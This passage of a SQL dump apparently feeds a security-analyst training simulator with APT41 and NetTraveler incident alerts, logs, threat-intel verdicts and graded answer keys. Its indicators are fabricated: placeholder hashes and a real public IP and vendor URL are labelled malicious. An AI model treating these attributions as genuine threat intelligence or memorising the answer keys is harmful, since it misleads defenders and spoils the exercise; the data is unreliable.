3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:22:35Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.52\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_exfiltrated\\\":\\\"patient_records_2023.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltration_tool\\\":\\\"CCleanerSupplyChain_v2.exe\\\",\\\"alert_trigger\\\":\\\"DLP_Sensitive_Data_Transfer\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.103Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:22:35Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.2.15\\\",\\\"destination_ip\\\":\\\"203.0.113.52\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_exfiltrated\\\":\\\"patient_records_2023.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"user\\\":\\\"jdoe\\\",\\\"exfiltration_tool\\\":\\\"CCleanerSupplyChain_v2.exe\\\",\\\"alert_trigger\\\":\\\"DLP_Sensitive_Data_Transfer\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1497, 'Suspicious Network Activity Detected', 'high', 'Network Traffic Analysis', 'Unusual outbound connections from ASUS servers have been flagged, indicating potential compromise. APT41 might be attempting to infiltrate the ASUS update server to distribute malicious payloads.', 'Initial Access', 'T1195 - Supply Chain Compromise', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:35Z\",\"source_ip\":\"192.168.1.15\",\"destination_ip\":\"203.0.113.45\",\"destination_port\":\"443\",\"protocol\":\"HTTPS\",\"url\":\"https://update.asus.com/firmware\",\"filename\":\"ASUS_update_v1.0.exe\",\"md5_hash\":\"3b2a9f2e9b8c1c6d9e4f2b7a2b5a4d1f\",\"user_agent\":\"ASUSUpdate/2.0\",\"user_account\":\"asus_admin\",\"event_type\":\"network_connection\",\"description\":\"An ASUS server at 192.168.1.15 is making unusual outbound connections to IP 203.0.113.45 using protocol HTTPS.\"}', '2026-03-15 19:08:36', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of ASUS server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with APT41 activities.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"https://update.asus.com/firmware\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"suspicious\",\"details\":\"Potentially compromised ASUS update server.\"}},{\"id\":\"artifact_4\",\"type\":\"md5_hash\",\"value\":\"3b2a9f2e9b8c1c6d9e4f2b7a2b5a4d1f\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known malicious payload used by APT41.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1498, 'Malicious Code Execution Identified', 'high', 'Endpoint Detection and Response (EDR)', 'An update package from ASUS software updates was found to contain malicious code. This code executes upon installation, deploying a backdoor that allows further exploitation of the system.', 'Execution', 'T1203 - Exploitation for Client Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-09-25T14:32:49Z\",\"event_id\":\"EDR-456789\",\"event_type\":\"code_execution\",\"source_ip\":\"203.0.113.15\",\"internal_ip\":\"192.168.1.10\",\"user\":\"jdoe\",\"process_name\":\"ASUSUpdater.exe\",\"file_name\":\"ASUSUpdate_v3.14.exe\",\"file_hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"detected_behavior\":\"Supply Chain Attack\",\"threat_actor\":\"APT41\",\"associated_tactics\":[\"Supply Chain Attacks\",\"Espionage\"],\"malicious_code\":true}', '2026-03-15 19:08:36', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"Known IP address associated with APT41 operations\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalNetwork\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as containing malicious code associated with APT41\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"ASUSUpdate_v3.14.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareBazaar\",\"verdict\":\"malicious\",\"details\":\"Executable file used to execute APT41 malicious payload\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1499, 'Persistence Mechanisms Discovered', 'high', 'System Logs', 'The attackers have embedded persistence mechanisms within the affected systems, allowing for ongoing access.', 'Persistence', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T08:45:12Z\",\"event_id\":\"4624\",\"source_ip\":\"185.199.108.153\",\"internal_ip\":\"192.168.1.45\",\"username\":\"compromised_user\",\"filename\":\"taskhostw.exe\",\"hash\":\"3f5c3a6b2f9e4c5d9c3f8b7e6b8d5e4c\",\"registry_key\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"action\":\"Registry value added\"}', '2026-03-15 19:08:36', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.199.108.153\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT41 activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"suspicious\",\"details\":\"User involved in unauthorized access\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"taskhostw.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Malware associated with persistence mechanisms\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"3f5c3a6b2f9e4c5d9c3f8b7e6b8d5e4c\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"Hash related to APT41 malware\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.138Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T08:45:12Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"185.199.108.153\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"filename\\\":\\\"taskhostw.exe\\\",\\\"hash\\\":\\\"3f5c3a6b2f9e4c5d9c3f8b7e6b8d5e4c\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"action\\\":\\\"Registry value added\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.138Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T08:45:12Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"185.199.108.153\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"filename\\\":\\\"taskhostw.exe\\\",\\\"hash\\\":\\\"3f5c3a6b2f9e4c5d9c3f8b7e6b8d5e4c\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"action\\\":\\\"Registry value added\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.138Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T08:45:12Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"185.199.108.153\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"filename\\\":\\\"taskhostw.exe\\\",\\\"hash\\\":\\\"3f5c3a6b2f9e4c5d9c3f8b7e6b8d5e4c\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"action\\\":\\\"Registry value added\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.138Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T08:45:12Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"185.199.108.153\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"filename\\\":\\\"taskhostw.exe\\\",\\\"hash\\\":\\\"3f5c3a6b2f9e4c5d9c3f8b7e6b8d5e4c\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"action\\\":\\\"Registry value added\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.138Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T08:45:12Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"185.199.108.153\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"filename\\\":\\\"taskhostw.exe\\\",\\\"hash\\\":\\\"3f5c3a6b2f9e4c5d9c3f8b7e6b8d5e4c\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"action\\\":\\\"Registry value added\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1500, 'Lateral Movement Detected', 'high', 'Internal Network Monitoring', 'APT41 is attempting to expand access within the network by targeting specific MAC addresses. Compromised systems are being used to move laterally.', 'Lateral Movement', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:55:36Z\",\"event\":\"Lateral Movement Attempt\",\"source_ip\":\"10.0.1.15\",\"target_ip\":\"10.0.1.20\",\"attacker_ip\":\"203.0.113.45\",\"compromised_user\":\"j.doe\",\"malware_hash\":\"7a82f1c3b2d5e4a6f9c8d4f9e3b2a4c5\",\"target_mac_address\":\"00:1A:2B:3C:4D:5E\",\"filename\":\"CCleaner_v2.0.exe\"}', '2026-03-15 19:08:36', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network_scan\",\"verdict\":\"internal\",\"details\":\"Source IP of lateral movement attempt\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence_feed\",\"verdict\":\"malicious\",\"details\":\"Known APT41 attacker IP\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"7a82f1c3b2d5e4a6f9c8d4f9e3b2a4c5\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with APT41 CCleaner variant\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"user_activity_logs\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"CCleaner_v2.0.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_analysis\",\"verdict\":\"malicious\",\"details\":\"Executable used in lateral movement\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1501, 'Targeted Data Exfiltration Attempt', 'high', 'Data Loss Prevention (DLP) Tools', 'An attempt was detected to exfiltrate sensitive data from devices with specific MAC addresses. This marks the final step of the operation by APT41, using their known tactics and tools.', 'Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:00Z\",\"event_id\":\"DLP-EXF-2345\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.1.1.25\",\"source_port\":443,\"destination_port\":8080,\"protocol\":\"HTTPS\",\"malware_hash\":\"e99a18c428cb38d5f260853678922e03\",\"mac_address\":\"00:1B:44:11:3A:B7\",\"username\":\"jdoe\",\"filename\":\"confidential_data.zip\",\"action\":\"blocked\",\"description\":\"Detected data exfiltration attempt via HTTPS to an unauthorized external IP.\"}', '2026-03-15 19:08:36', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with APT41 activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of the compromised device.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with APT41 known malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal DLP\",\"verdict\":\"suspicious\",\"details\":\"File containing sensitive data attempted to be exfiltrated.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.148Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_id\\\":\\\"DLP-EXF-2345\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.1.25\\\",\\\"source_port\\\":443,\\\"destination_port\\\":8080,\\\"protocol\\\":\\\"HTTPS\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"mac_address\\\":\\\"00:1B:44:11:3A:B7\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"action\\\":\\\"blocked\\\",\\\"description\\\":\\\"Detected data exfiltration attempt via HTTPS to an unauthorized external IP.\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.148Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_id\\\":\\\"DLP-EXF-2345\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.1.25\\\",\\\"source_port\\\":443,\\\"destination_port\\\":8080,\\\"protocol\\\":\\\"HTTPS\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"mac_address\\\":\\\"00:1B:44:11:3A:B7\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"action\\\":\\\"blocked\\\",\\\"description\\\":\\\"Detected data exfiltration attempt via HTTPS to an unauthorized external IP.\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.148Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_id\\\":\\\"DLP-EXF-2345\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.1.25\\\",\\\"source_port\\\":443,\\\"destination_port\\\":8080,\\\"protocol\\\":\\\"HTTPS\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"mac_address\\\":\\\"00:1B:44:11:3A:B7\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"action\\\":\\\"blocked\\\",\\\"description\\\":\\\"Detected data exfiltration attempt via HTTPS to an unauthorized external IP.\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.148Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_id\\\":\\\"DLP-EXF-2345\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.1.25\\\",\\\"source_port\\\":443,\\\"destination_port\\\":8080,\\\"protocol\\\":\\\"HTTPS\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"mac_address\\\":\\\"00:1B:44:11:3A:B7\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"action\\\":\\\"blocked\\\",\\\"description\\\":\\\"Detected data exfiltration attempt via HTTPS to an unauthorized external IP.\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.148Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_id\\\":\\\"DLP-EXF-2345\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.1.25\\\",\\\"source_port\\\":443,\\\"destination_port\\\":8080,\\\"protocol\\\":\\\"HTTPS\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"mac_address\\\":\\\"00:1B:44:11:3A:B7\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"action\\\":\\\"blocked\\\",\\\"description\\\":\\\"Detected data exfiltration attempt via HTTPS to an unauthorized external IP.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1502, 'Suspicious Phishing Email Detected', 'high', 'Email Gateway Logs', 'A phishing email was detected targeting government officials with the intent to deliver a malicious payload for initial access.', 'Phishing', 'T1566', 1, 'new', NULL, '{\"timestamp\":\"2023-10-01T08:32:21Z\",\"email_subject\":\"Urgent: Update Your Account Information\",\"sender_email\":\"security-update@fakedomain.com\",\"recipient_email\":\"john.doe@govagency.gov\",\"sender_ip\":\"203.0.113.45\",\"attachment_filename\":\"Account_Update.docm\",\"attachment_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"malicious_url\":\"http://malicious-update.com/login\",\"internal_ip\":\"192.168.1.15\"}', '2026-03-15 19:08:51', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Threat Intel\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"security-update@fakedomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Threat Intel\",\"verdict\":\"malicious\",\"details\":\"Email domain used in multiple phishing attacks\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Associated with known malware used for credential theft\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://malicious-update.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"Phishing Feed\",\"verdict\":\"malicious\",\"details\":\"Known phishing URL targeting government sectors\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Phishing Email Detected\",\"date\":\"2026-03-15T20:58:15.150Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1503, 'Execution of NetTraveler\'s RAT', 'high', 'Endpoint Detection and Response (EDR) Alerts', 'Following a successful phishing attempt, NetTraveler\'s Remote Access Trojan (RAT) was executed, establishing a foothold within the network. The malware was identified on a user endpoint, initiating network communications to an external IP address associated with known malicious activity.', 'Malware Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:35:22Z\",\"event_id\":\"EDR-4567\",\"detected_by\":\"Endpoint Detection and Response\",\"hostname\":\"workstation-45\",\"internal_ip\":\"192.168.1.45\",\"external_ip\":\"185.92.220.25\",\"user\":\"j.doe\",\"process\":{\"name\":\"nettraveler.exe\",\"path\":\"C:\\\\Users\\\\j.doe\\\\AppData\\\\Local\\\\Temp\\\\nettraveler.exe\",\"hash\":\"e9f0f9a0d2b1c7e5a3e6b9c8d4f8b7a9\"},\"command_line\":\"C:\\\\Users\\\\j.doe\\\\AppData\\\\Local\\\\Temp\\\\nettraveler.exe\",\"malicious_activity\":\"Established connection to C2 server\",\"indicators\":[{\"type\":\"ip\",\"value\":\"185.92.220.25\"},{\"type\":\"hash\",\"value\":\"e9f0f9a0d2b1c7e5a3e6b9c8d4f8b7a9\"},{\"type\":\"filename\",\"value\":\"nettraveler.exe\"},{\"type\":\"username\",\"value\":\"j.doe\"}]}', '2026-03-15 19:08:51', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.220.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known C2 activity\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e9f0f9a0d2b1c7e5a3e6b9c8d4f8b7a9\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known NetTraveler RAT sample\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"nettraveler.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual execution path detected\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"internal\",\"details\":\"User account involved in phishing 